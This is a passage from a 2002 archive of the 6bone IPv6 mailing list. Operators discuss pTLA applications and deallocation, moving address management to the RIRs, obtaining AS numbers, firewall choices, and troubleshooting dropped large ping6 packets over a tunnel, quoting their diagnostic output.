>pick up a RIPE ipv6 address space, but until that moment arrives, we would 
>like to test
>with some of our best customers, the IPv6 world.
>
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>operational rules and policies as they exist at time of its
>application, and agree to abide by future 6Bone backbone
>operational rules and policies as they evolve by consensus of the
>6Bone backbone and user community.
>
>
>Additional questions (from Bob):
>
>1. Your acknowledgement that you are not charging for services using the
>6bone prefix,
>
>Of course.
>
>
>2. Your acknowledgement that will give up your prefix when required by the
>sponsoring organization of the 6bone, or its descendents (currently the IETF),
>
>No problem. Yes, we know that 6bone is test network, and we
>  will remark this point to our customers.
>
>
>3. Your explanation of why you need a 6bone prefix instead of getting a
>production prefix from the RIRs. Also, for my planning purposes, I would 
>appreciate it if you could tell me
>why you think the 6bone is necessary, as opposed to just having networks
>get production prefixes from the RIRs. If you wish, this answer will be
>held in confidence. As I said above, it is for my planning purposes.
>
>We want a 6bone prefix, and not a ripe prefix,
>  because we want to test deeply the IPv6 protocol,and the
>  6bone seems to be a more test network than ripe's
>  networks. In a future, if IPv6 becomes the production IP protocol in 
> internet, we will
>pick up a RIPE ipv6 address space, but until that moment arrives, we would 
>like to test
>with some of our best customers, the IPv6 world.
>
>
>             The main reason, I think, for the 6bone network is that
>  6bone is the perfect testbed solution for ipv6 deployment.
>  When we have ipv6 fully tested, we will get a ripe prefix,
>  and we will offer to our customers real ipv6 services. Until
>  that, we are going to test routers, servers, OSs, protocols,
>  getting more familiar with ipv6, experience with different
>  solutions, etc, etc...Another good point is, that medium size
>  companies(like euroview-group) have the same rights and
>  privilegies that big companies like worldcom, telefonica, etc.....
>
>
>If you find problems, please tell me.
>
>
>Best regards.
>
>Javier.

-end


From bmanning@ISI.EDU Tue Sep 24 16:24:01 2002
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Subject: Re: [6bone] whois.6bone.net has only v4 connectivity?
In-Reply-To: <24390.1032853494@munnari.OZ.AU> from Robert Elz at "Sep 24, 2 02:44:54 pm"
To: kre@munnari.OZ.AU (Robert Elz)
Date: Tue, 24 Sep 2002 16:20:35 -0700 (PDT)
Cc: jeroen@unfix.org, gert@space.net, 6bone@ISI.EDU
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yes, serial numbers are integers. no typo there.
ns.isi.edu is still using the old key (my bad)
however I really need to remove ns.isi.edu since it won't have v6
transport anytime soon :(

I'll fix up the -pre-6bone- delegation when I get off the plane.



-- 
--bill

From jordi.palet@consulintel.es Wed Sep 25 11:03:20 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <cdel@firsthand.net>, "Gert Doering" <gert@space.net>
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
Date: Wed, 25 Sep 2002 20:06:11 +0200
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Dear Christian,

Sorry I miss this one before.

I mean IPv6 is freedom (not free addresses), in the sense that you can have it and do anything you want (applications, services),
while in IPv4, we have limitations because 32 bits aren't enough for all kind of devices, people, ..., of course, considering the
end-to-end model (no NATs !).

I agree that address do not belong to anyone, and are "always" allocated temporarily, but for an indefinite period of time.

Too much philosophical, may be ;-)

Regards,
Jordi

----- Original Message -----
From: "Christian de Larrinaga" <cdel@firsthand.net>
To: "Gert Doering" <gert@space.net>; "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
Cc: <6bone@ISI.EDU>
Sent: Friday, September 13, 2002 5:02 PM
Subject: RE: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs


> Jordi
>
> >
> > Right now, it's important to push IPv6, but in the long run, I *want*
> > restrictions on "who can get IPv6 blocks from the RIR".
> >
> > > I always say IPv6 is FREEDOM, and following the same rule as in IPv4,
> > > it WILL NOT BE.
>
>
> If IPv6 addresses are "free" in the sense you describe how do they get re
> allocated when say a device dies or a home user moves on?
>
>
> Christian de Larrinaga
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From bmanning@ISI.EDU Wed Sep 25 15:58:53 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] pTLA deallocation
In-Reply-To: <5.1.0.14.0.20020924093409.0260b240@imap2.es.net> from Bob Fink at "Sep 24, 2 10:04:58 am"
To: fink@es.net (Bob Fink)
Date: Wed, 25 Sep 2002 15:58:24 -0700 (PDT)
Cc: pim@ipng.nl, noc@bit.nl, 6bone@ISI.EDU
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% Pim,
% 
% >I've removed the ip6.int files from our nameservers and retracted the
% >BGP announcements for the /28 network sometime last week. I checked just
% >now and see that the network no longer exists on 6BONE. That means I'm
% >ready to officially give the allocation back to the registry.
% >
% I can't think of any. Let's see if others come up with any.

	as with any DNS work, if you remove the child records,
	you need to tell the parent that the delegation is gone,
	otherwise it remains lame.   
	I'll update the e.f.f.3.ip6.int zone to reflect this prefix
	is no longer delegated.
	(whois is only one of the databases used. :)

--bill

From cdel@firsthand.net Thu Sep 26 08:36:11 2002
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From: "Christian de Larrinaga" <cdel@firsthand.net>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>,
   "Gert Doering" <gert@space.net>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Jordi

got it. I guess I'll have to suck up to RIPE now or invest in an IPv6 NAT
box ;-)

cheers.


Christian



> Behalf Of JORDI PALET MARTINEZ
> Sent: Wednesday, September 25, 2002 07:06
> To: cdel@firsthand.net; Gert Doering
> Cc: 6bone@ISI.EDU
>
> Dear Christian,
>
> Sorry I miss this one before.
>
> I mean IPv6 is freedom (not free addresses), in the sense that
> you can have it and do anything you want (applications, services),
> while in IPv4, we have limitations because 32 bits aren't enough
> for all kind of devices, people, ..., of course, considering the
> end-to-end model (no NATs !).
>
> I agree that address do not belong to anyone, and are "always"
> allocated temporarily, but for an indefinite period of time.
>
> Too much philosophical, may be ;-)
>
> Regards,
> Jordi
>
> ----- Original Message -----
> From: "Christian de Larrinaga" <cdel@firsthand.net>
> To: "Gert Doering" <gert@space.net>; "JORDI PALET MARTINEZ"
> <jordi.palet@consulintel.es>
> Cc: <6bone@ISI.EDU>
> Sent: Friday, September 13, 2002 5:02 PM
> Subject: RE: [6bone] proposal for transfer of 6bone address
> management responsibilities to RIRs
>
>
> > Jordi
> >
> > >
> > > Right now, it's important to push IPv6, but in the long run, I *want*
> > > restrictions on "who can get IPv6 blocks from the RIR".
> > >
> > > > I always say IPv6 is FREEDOM, and following the same rule
> as in IPv4,
> > > > it WILL NOT BE.
> >
> >
> > If IPv6 addresses are "free" in the sense you describe how do
> they get re
> > allocated when say a device dies or a home user moves on?
> >
> >
> > Christian de Larrinaga
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
>
> ***********************************************************
> Madrid 2002 Global IPv6 Summit
> See all the documents on line at:
> www.ipv6-es.com
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From mic@maxipes.logix.cz Fri Sep 27 03:09:09 2002
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From: Michal Ludvig <michal-ipv6@logix.cz>
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Subject: [6bone] What AS to use in BGP
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Hi all,
we're running a public WiFi network in Prague (Czech Republic) that serves 
(for now) several hundreds of people and is still growing. Now all our 
nodes use IPv4 10.0.0.0/8 network and we are doing NAT on the border 
router. Currently we're doing some experiments with IPv6 with prefix 
allocated from a tunnelbroker. However we'd like to become pTLA sometime 
in the future. I have read the requirements for becoming pTLA and I 
believe we could meet all of them, but I've found one thing that isn't 
clear to me: for BGP4+ peering I need an AS number. What should I use for 
it or how to get an official one? 

Thanks
Michal Ludvig


From gert@Space.Net Fri Sep 27 05:57:55 2002
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From: Gert Doering <gert@space.net>
To: Michal Ludvig <michal-ipv6@logix.cz>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] What AS to use in BGP
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Hi,

On Fri, Sep 27, 2002 at 12:09:04PM +0200, Michal Ludvig wrote:
> we're running a public WiFi network in Prague (Czech Republic) that serves 
> (for now) several hundreds of people and is still growing. Now all our 
> nodes use IPv4 10.0.0.0/8 network and we are doing NAT on the border 
> router. Currently we're doing some experiments with IPv6 with prefix 
> allocated from a tunnelbroker. However we'd like to become pTLA sometime 
> in the future. I have read the requirements for becoming pTLA and I 
> believe we could meet all of them, but I've found one thing that isn't 
> clear to me: for BGP4+ peering I need an AS number. What should I use for 
> it or how to get an official one? 

If you want to do BGP, you need to use an official AS number.

You might want to talk to your IPv4 upstream ISP(s) and find out whether
they can arrange something - they could go to RIPE for you and get an 
AS number, or maybe you can convince them to get their own IPv6 address
space and allocate addresses to you.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  47686  (47095)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From chuck@snew.com Fri Sep 27 08:37:46 2002
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Date: Fri, 27 Sep 2002 08:37:38 -0700
From: Chuck Yerkes <chuck+6bone@snew.com>
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Cc: dlc-6bone@halibut.com
Subject: Re: [6bone] Re: Commercial IPv6-ready firewall products?
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Quoting Michel Py (michel@arneill-py.sacramento.ca.us):
> > David Carmean wrote:
> > W.R.T. the Juniper and Cisco ACL suggestions...
> > at the very least I will insist on a stateful packet
> > filter, if not stateful inspection.
> 
> I agree. Something like a reflexive access-list is a good beginning, but
> you can't really call something a firewall unless it has stateful
> inspection and goodies such as syn/ack detection.

I've just fought Checkpoint problems (true bugs, it 
seems) at a client; I've dealt with several "commercial"
firewalls that just aren't reliable and don't have the
tools to debug them well (sniffing both nets with tcpdump
does not count).

I'm just delighted to keep using IPFilter, as I have been since
1995.  It runs on my 12cm x 8cm x 2cm Soekris box (no fan, no
drive, faster than my net will be soon).  It doesn't have a
pretty GUI, but I've maintained for 10 years that if vi(1) is
too hard for you to use, then you shouldn't be running a
firewall.  TCP/IP{4,6} firewalling is complex.  A pretty GUI
doesn't make it less so.

It understands state, various flags.  best: It runs on my SGI, Suns,
Open|Net|Free BSD boxes.

And it's better supported than many $$$$$$ tools.

From andrew@asol.com.ph Tue Oct  1 04:48:25 2002
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Subject: [6bone] pTLA/pNLA Transits
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Hello!

I've been looking for pTLA/pNLA that may provide IPv6 to our site. I'm =
very interested on working on an IPv6 address but there is no pTLA/pNLA =
on our country which is Philippines. I've already tried to connect to =
freenet6.net and succesfully installed TSPC on a FreeBSD machine. Hoping =
anyone will help me. Thanks

Andrew

------=_NextPart_000_0009_01C26983.EA7FEE00
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
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charset=3Diso-8859-1">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DVerdana size=3D2>Hello!</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2>I've been looking for pTLA/pNLA that =
may provide=20
IPv6 to our site. I'm very interested on working on an IPv6 address but =
there is=20
no pTLA/pNLA on our country which is Philippines. I've already tried to =
connect=20
to freenet6.net and succesfully installed TSPC on a FreeBSD machine. =
Hoping=20
anyone will help me. Thanks</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2>Andrew</FONT></DIV></BODY></HTML>

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From alvaro.vives@consulintel.es Fri Oct  4 03:36:56 2002
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Subject: [6bone] Problems with big packets!?
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Hi all,

We've a host connected to 6BONE through a tunnel. The traceroute6 and ping6
to 3ffe:3328:6:2b01::a100 works fine, BUT if we try:

#ping6 -s 5000 3ffe:3328:6:2b01::a100

ALL the packets are lost! (-s specifies the size in bytes).

We tried ping6 (-s 5000 & -s 1000) to each node in the route, and in one of
them seems to be the problem:

2001:660:1102:4007::2

Somebody else have experienced this?

Regards,

Alvaro.

Se the pings and traceroute below:

# ping6 -s 1000 3ffe:3328:6:2b01::a100
PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
2001:470:1f00:ffff::213 : 1000 data bytes
1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=0 hops=58 time=843.811 msec
1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=1 hops=58 time=878.117 msec
1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=2 hops=58 time=858.146 msec

--- 3ffe:3328:6:2b01::a100 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss


# ping6 -s 5000 3ffe:3328:6:2b01::a100
PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
2001:470:1f00:ffff::213 : 5000 data bytes

--- 3ffe:3328:6:2b01::a100 ping statistics ---
7 packets transmitted, 0 packets received, 100% packet loss
------------------------------------------
# traceroute6 3ffe:3328:6:2b01::a100
traceroute to 3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100) from
2001:470:1f00:ffff::213, 30 hops max, 16 byte packets
 1  viperpan.tunnel.tserv1.fmt.ipv6.he.net (2001:470:1f00:ffff::212)
338.498 ms  287.976 ms  274.952 ms
 2  rtr1.ipv6.he.net (3ffe:81d0:ffff::2)  279.843 ms  278.591 ms  259.885 ms
 3  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  359.978 ms  384.063 ms *
 4  2001:660:1102:4007::2 (2001:660:1102:4007::2)  625.084 ms  534.236 ms
499.932 ms
 5  3ffe:3300::29:2 (3ffe:3300::29:2)  839.862 ms  759.19 ms  744.743 ms
 6  3ffe:3328:6:2::4 (3ffe:3328:6:2::4)  799.886 ms  749.333 ms  885.018 ms
 7  3ffe:3328:6:3::2 (3ffe:3328:6:3::2)  729.746 ms  749.217 ms  704.883 ms
 8  3ffe:3300::28:a (3ffe:3300::28:a)  704.972 ms  719.274 ms  689.917 ms
 9  3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100)  754.837 ms  729.23 ms
839.888 ms
------------------------------------------
# ping6 -s 1000 2001:470:1f00:ffff::212
PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
2001:470:1f00:ffff::213 : 1000 data bytes
1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 time=341.984
msec
1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 time=367.666
msec
1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 time=417.688
msec

--- 2001:470:1f00:ffff::212 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss


# ping6 -s 5000 2001:470:1f00:ffff::212
PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
2001:470:1f00:ffff::213 : 5000 data bytes
5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 time=478.822
msec
5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 time=492.336
msec
5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 time=492.383
msec
5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=3 hops=64 time=392.413
msec

--- 2001:470:1f00:ffff::212 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
------------------------------------------
# ping6 -s 1000 3ffe:81d0:ffff::2
PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 :
1000 data bytes
1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=271.892 msec
1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=460.268 msec
1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=310.296 msec

--- 3ffe:81d0:ffff::2 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss


# ping6 -s 5000 3ffe:81d0:ffff::2
PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 :
5000 data bytes
5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=536.436 msec
5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=651.132 msec
5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=511.162 msec

--- 3ffe:81d0:ffff::2 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
------------------------------------------
# ping6 -s 1000 3ffe:8070:1:13::1
PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 :
1000 data bytes
1008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=454.961 msec
1008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=525.919 msec
1008 bytes from 3ffe:8070:1:13::1: icmp_seq=2 hops=62 time=505.954 msec

--- 3ffe:8070:1:13::1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss


# ping6 -s 5000 3ffe:8070:1:13::1
PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 :
5000 data bytes
5008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=634.059 msec
5008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=653.610 msec

--- 3ffe:8070:1:13::1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
------------------------------------------
# ping6 -s 1000 2001:660:1102:4007::2
PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
2001:470:1f00:ffff::213 : 1000 data bytes
1008 bytes from 2001:660:1102:4007::2: icmp_seq=0 hops=60 time=568.278 msec
1008 bytes from 2001:660:1102:4007::2: icmp_seq=1 hops=60 time=578.146 msec
1008 bytes from 2001:660:1102:4007::2: icmp_seq=2 hops=60 time=534.845 msec

--- 2001:660:1102:4007::2 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss


# ping6 -s 5000 2001:660:1102:4007::2
PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
2001:470:1f00:ffff::213 : 5000 data bytes

--- 2001:660:1102:4007::2 ping statistics ---
13 packets transmitted, 0 packets received, 100% packet loss
------------------------------------------



***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From tvo@EnterZone.Net Fri Oct  4 11:38:01 2002
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Date: Fri, 4 Oct 2002 14:37:54 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Alvaro Vives <alvaro.vives@consulintel.es>
cc: 6bone@mailman.isi.edu, ipv6rd@consulintel.es
Subject: Re: [6bone] Problems with big packets!?
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Um, What is the problem?

 You're _NEVER_ going to encounter a 1000 byte packet, let alone a 5000
byte packet in "the wild".


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Fri, 4 Oct 2002, Alvaro Vives wrote:

> Hi all,
> 
> We've a host connected to 6BONE through a tunnel. The traceroute6 and ping6
> to 3ffe:3328:6:2b01::a100 works fine, BUT if we try:
> 
> #ping6 -s 5000 3ffe:3328:6:2b01::a100
> 
> ALL the packets are lost! (-s specifies the size in bytes).
> 
> We tried ping6 (-s 5000 & -s 1000) to each node in the route, and in one of
> them seems to be the problem:
> 
> 2001:660:1102:4007::2
> 
> Somebody else have experienced this?
> 
> Regards,
> 
> Alvaro.
> 
> Se the pings and traceroute below:
> 
> # ping6 -s 1000 3ffe:3328:6:2b01::a100
> PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=0 hops=58 time=843.811 msec
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=1 hops=58 time=878.117 msec
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=2 hops=58 time=858.146 msec
> 
> --- 3ffe:3328:6:2b01::a100 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> 
> 
> # ping6 -s 5000 3ffe:3328:6:2b01::a100
> PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
> 
> --- 3ffe:3328:6:2b01::a100 ping statistics ---
> 7 packets transmitted, 0 packets received, 100% packet loss
> ------------------------------------------
> # traceroute6 3ffe:3328:6:2b01::a100
> traceroute to 3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213, 30 hops max, 16 byte packets
>  1  viperpan.tunnel.tserv1.fmt.ipv6.he.net (2001:470:1f00:ffff::212)
> 338.498 ms  287.976 ms  274.952 ms
>  2  rtr1.ipv6.he.net (3ffe:81d0:ffff::2)  279.843 ms  278.591 ms  259.885 ms
>  3  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  359.978 ms  384.063 ms *
>  4  2001:660:1102:4007::2 (2001:660:1102:4007::2)  625.084 ms  534.236 ms
> 499.932 ms
>  5  3ffe:3300::29:2 (3ffe:3300::29:2)  839.862 ms  759.19 ms  744.743 ms
>  6  3ffe:3328:6:2::4 (3ffe:3328:6:2::4)  799.886 ms  749.333 ms  885.018 ms
>  7  3ffe:3328:6:3::2 (3ffe:3328:6:3::2)  729.746 ms  749.217 ms  704.883 ms
>  8  3ffe:3300::28:a (3ffe:3300::28:a)  704.972 ms  719.274 ms  689.917 ms
>  9  3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100)  754.837 ms  729.23 ms
> 839.888 ms
> ------------------------------------------
> # ping6 -s 1000 2001:470:1f00:ffff::212
> PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 time=341.984
> msec
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 time=367.666
> msec
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 time=417.688
> msec
> 
> --- 2001:470:1f00:ffff::212 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> 
> 
> # ping6 -s 5000 2001:470:1f00:ffff::212
> PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 time=478.822
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 time=492.336
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 time=492.383
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=3 hops=64 time=392.413
> msec
> 
> --- 2001:470:1f00:ffff::212 ping statistics ---
> 4 packets transmitted, 4 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 3ffe:81d0:ffff::2
> PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 :
> 1000 data bytes
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=271.892 msec
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=460.268 msec
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=310.296 msec
> 
> --- 3ffe:81d0:ffff::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> 
> 
> # ping6 -s 5000 3ffe:81d0:ffff::2
> PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 :
> 5000 data bytes
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=536.436 msec
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=651.132 msec
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=511.162 msec
> 
> --- 3ffe:81d0:ffff::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 3ffe:8070:1:13::1
> PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 :
> 1000 data bytes
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=454.961 msec
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=525.919 msec
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=2 hops=62 time=505.954 msec
> 
> --- 3ffe:8070:1:13::1 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> 
> 
> # ping6 -s 5000 3ffe:8070:1:13::1
> PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 :
> 5000 data bytes
> 5008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=634.059 msec
> 5008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=653.610 msec
> 
> --- 3ffe:8070:1:13::1 ping statistics ---
> 2 packets transmitted, 2 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 2001:660:1102:4007::2
> PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=0 hops=60 time=568.278 msec
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=1 hops=60 time=578.146 msec
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=2 hops=60 time=534.845 msec
> 
> --- 2001:660:1102:4007::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> 
> 
> # ping6 -s 5000 2001:660:1102:4007::2
> PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
> 
> --- 2001:660:1102:4007::2 ping statistics ---
> 13 packets transmitted, 0 packets received, 100% packet loss
> ------------------------------------------
> 
> 
> 
> ***********************************************************
> Madrid 2002 Global IPv6 Summit
> See all the documents on line at:
> www.ipv6-es.com
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From jorgen@hovland.cx Fri Oct  4 13:02:29 2002
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To: Alvaro Vives <alvaro.vives@consulintel.es>
cc: 6bone@mailman.isi.edu, <ipv6rd@consulintel.es>
Subject: Re: [6bone] Problems with big packets!?
In-Reply-To: <00bf01c26b92$80ae0280$3300000a@consulintel.es>
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Try setting the MTU to 1480

Joergen Hovland

On Fri, 4 Oct 2002, Alvaro Vives wrote:

> Hi all,
>
> We've a host connected to 6BONE through a tunnel. The traceroute6 and ping6
> to 3ffe:3328:6:2b01::a100 works fine, BUT if we try:
>
> #ping6 -s 5000 3ffe:3328:6:2b01::a100
>
> ALL the packets are lost! (-s specifies the size in bytes).
>
> We tried ping6 (-s 5000 & -s 1000) to each node in the route, and in one of
> them seems to be the problem:
>
> 2001:660:1102:4007::2
>
> Somebody else have experienced this?
>
> Regards,
>
> Alvaro.
>
> Se the pings and traceroute below:
>
> # ping6 -s 1000 3ffe:3328:6:2b01::a100
> PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=0 hops=58 time=843.811 msec
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=1 hops=58 time=878.117 msec
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=2 hops=58 time=858.146 msec
>
> --- 3ffe:3328:6:2b01::a100 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 3ffe:3328:6:2b01::a100
> PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
>
> --- 3ffe:3328:6:2b01::a100 ping statistics ---
> 7 packets transmitted, 0 packets received, 100% packet loss
> ------------------------------------------
> # traceroute6 3ffe:3328:6:2b01::a100
> traceroute to 3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213, 30 hops max, 16 byte packets
>  1  viperpan.tunnel.tserv1.fmt.ipv6.he.net (2001:470:1f00:ffff::212)
> 338.498 ms  287.976 ms  274.952 ms
>  2  rtr1.ipv6.he.net (3ffe:81d0:ffff::2)  279.843 ms  278.591 ms  259.885 ms
>  3  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  359.978 ms  384.063 ms *
>  4  2001:660:1102:4007::2 (2001:660:1102:4007::2)  625.084 ms  534.236 ms
> 499.932 ms
>  5  3ffe:3300::29:2 (3ffe:3300::29:2)  839.862 ms  759.19 ms  744.743 ms
>  6  3ffe:3328:6:2::4 (3ffe:3328:6:2::4)  799.886 ms  749.333 ms  885.018 ms
>  7  3ffe:3328:6:3::2 (3ffe:3328:6:3::2)  729.746 ms  749.217 ms  704.883 ms
>  8  3ffe:3300::28:a (3ffe:3300::28:a)  704.972 ms  719.274 ms  689.917 ms
>  9  3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100)  754.837 ms  729.23 ms
> 839.888 ms
> ------------------------------------------
> # ping6 -s 1000 2001:470:1f00:ffff::212
> PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 time=341.984
> msec
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 time=367.666
> msec
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 time=417.688
> msec
>
> --- 2001:470:1f00:ffff::212 ping statistics ---
